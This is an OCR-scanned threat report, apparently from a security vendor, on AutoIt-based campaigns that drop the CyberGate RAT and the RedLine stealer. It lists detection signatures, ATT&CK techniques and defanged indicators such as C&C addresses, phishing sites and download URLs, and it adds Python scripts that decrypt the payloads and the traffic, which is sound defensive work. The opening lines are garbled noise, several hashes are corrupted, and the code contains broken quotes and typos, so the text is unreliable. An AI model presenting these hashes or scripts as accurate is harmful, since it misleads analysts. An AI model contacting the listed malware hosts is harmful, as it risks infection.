P/Fp5p7T3VVP/eqp7q7veerpyR/98R8xbNAAPJATH/ N3/ xlhg@awAT gA/ AB+ABBADAAHAAPWATEA/ AB+EBZH/ j5n/959rM/+7Ng0uBa8 IES+sBk
+cZ76TZoABYolwfohvmy172MXXjhheyRR®Sh+ABKQAECAAWEABSALLAACKABKAAFOEAZBZS/ /n127xPTZD/ 38 lext v/
ZXYDvgWfGAOPLATrGE+ZRs76TovsY9e+zH271i3vEKTe/BVB3 hwbDzCBXRhal94EVT 96U+ zHT £ 2sBPPuwUbNIAPwWATgA /AB+ABBADSAHAAPWAT gA/
CByj5w257vs6U7HgRcHRGXUe jqOShnvnA++9inTmeto/ qoXs 1GY INgUpPIm+5] sduvt25nvoxeGzvilinygyt/jF3WIfa3+6+X/1R72/
Wyiy4tidcFOBvEKpTWLGkKKHVKBE7FRS@gA/ AB+HADBAHAAHWAPEATgA/ AB+ADSIGZfeDyb32X/ fyfvBFspgTjEjNLOfLACIFVa3Ghbra3edy2qa/
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Figure 20: Sending the request to the server to get a task.
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Figure 21: The Zscaler Cloud Sandbox report for the CyberGate RAT.
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Figure 22: The Zscaler Cloud Sandbox report for the RedLine stealer.
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In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators at various

levels.
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The following is the advanced threat protection signatures released for detecting the malware:
Win32.Backdoor.CyberGate

Win32.Backdoor.RedLine

Win32.PWS.AutolT

And the following are the Cloud IPS (non-web) signatures that enable detection of the CyberGate RAT:
Win32.Backdoor.CyberGate

Conclusion

We are observing an increase in the usage of Autolt script as a wrapper to deliver malware by threat actors.

This trend appears to be getting stronger with a lot of obfuscation, anti-analysis and anti-sandbox tricks, and
fileless techniques being adopted by the Autolt-based malware. The final payloads we have seen in these
campaigns are RATs and Infostealers, which are capable of stealing sensitive information and installing additional
malware. Also, the usage of a custom protocol for the exfiltration of sensitive information poses a great challenge

for network security solutions to block the data exfiltration attempt.

The Zscaler ThreatLabZ team will continue to monitor AutolT-based malware campaigns to share the information

with the community and to keep our customers safe.

MITRE ATT&CK™ tactic and technique mapping

Tactic Technique

T1059 Execution through Command-Line interface
T1060 Persistence in startup directory
T1055 Process injection

T1140 Obfuscated files

T1503 Steal credentials from web browsers
T1056 Keylogging

T1539 Steal web session cookies
T1083 File and Directory Discovery
T1057 Process Discovery

T1012 Query Registry

T1082 System Information Discovery
T1497 Sandbox Evasion

T1005 Collect Data from Local System
T1113 Captures Screen

T1094 Custom C&C Protocol

T1132 Base64 Data Encoding

T1065 Uncommonly Used Port

T1002 Data Compressed

T1020 Data Exfiltration

T1022 Data Encrypted

I0Cs
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Cybergate RAT

37.252.5[.]213/55.exe (Download URL)

37.252.5[.]213[:]13970 (Cybergate C&C)
433dd4dce13e86688a3af13686c84d1c Packed file
608D98351812A3C2C73B94A6F5BEF048 Encoded autoit file
340F2664D7956A753D8EA2FA5C0044FF Encrypted payload
53A116D2B8AB11B92B293B4AD18CC523 Decoded autoit script
391317CC132C65561811316324171F8C Shellcode 1
63CFBCE717C7761B6802E3C1B1F8ACCF Shellcode 2
88A81C67556D4470F23F703D64606E16 Cybergate RAT

RedLine Stealer

resisproject[.Jme (Phishing site)
bbuseruploads[.]s3[.]Jamazonaws[.]com/583b9547-e88c-4247-a01e-655ff985a7ae/downloads/5a2556¢5-ecOf-
4699-b67c-40b9f2a43fc7/Resistance_Wallet-windows-2.2.9.zip (Download URL)
resisproject[.]cc (Phishing site)
bitbucket[.]Jorg/kapow37047/win64/downloads/ResistanceWallet_2.2.8.exe (Download URL)
yellowbag|.]top (RedLine C&C)

70EFF6AE73COE276D385929D9E253D02 Packed file
C96BF5CECA92A5362F342A7EE19FDC88 Encoded autoit file
F1AA91851E0F66AAC3F65E4C237E8B51 Encrypted payload
106FCC5A6B51E4B2213694C7B5FF3C08 Decoded autoit script
729BB625379513FC677606888941248B RedLine Stealer
4B0F5B53264C56125BD5C889E063BBCA Packed file
67E67250B0DB02F824804EC17A757B1E Encoded autoit file

67BB52ECFE627A96076 AFAFD2DDE32C7 Encrypted payload
293918878C0OCE8CFFBD344B16EACG656E Decoded autoit script
9E286AB918ESFACF45B2AE0195CEF54B RedLine Stealer

Appendix I
Python Script to decrypt encrypted Cybergate payload and RedLine payload:

import sys

from Crypto.Cipher import ARC4

#RC4 keys
keys =['537180', '7010', ‘2379’]

enc_file = sys.argv[1]

dec_file = sys.argv[2]

for key in keys:
cipher = ARC4.new(key)
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data = open(enc_file, 'rb").read()
out = cipher.decrypt(data)

if out[:2] == "MZ":
with open(dec_file, 'wb') as wf:
wf.write(out)
print("[+] Decrypted PE file - " + dec_file)
break

Appendix II
Python Script to decrypt & decompress Cybergate traffic:

import zlib

from Crypto.Cipher import ARC4

def dec_packet(packet):

result =
marker = "##$H##"
#packet = str(bytearray.fromhex(packet))

if len(packet) == 2:

return result

try:
if packet.startswith("\x0d\x0a"):
packet = packet[2:]
packet = packet.split(marker)[1]
if packet.startswith("\x0d\x0a"):
packet = packet[2:]
except:

pass

try:
key = b'draZwyK8wNHF"
cipher = ARC4.new(key)

rc4_out = cipher.decrypt(packet)
if rc4_out.startswith("@@XXXXXXXXXX@@"):
rcd_out = rcd_out[14:]
result = zlib.decompress(rc4_out)
return result
except:

return result
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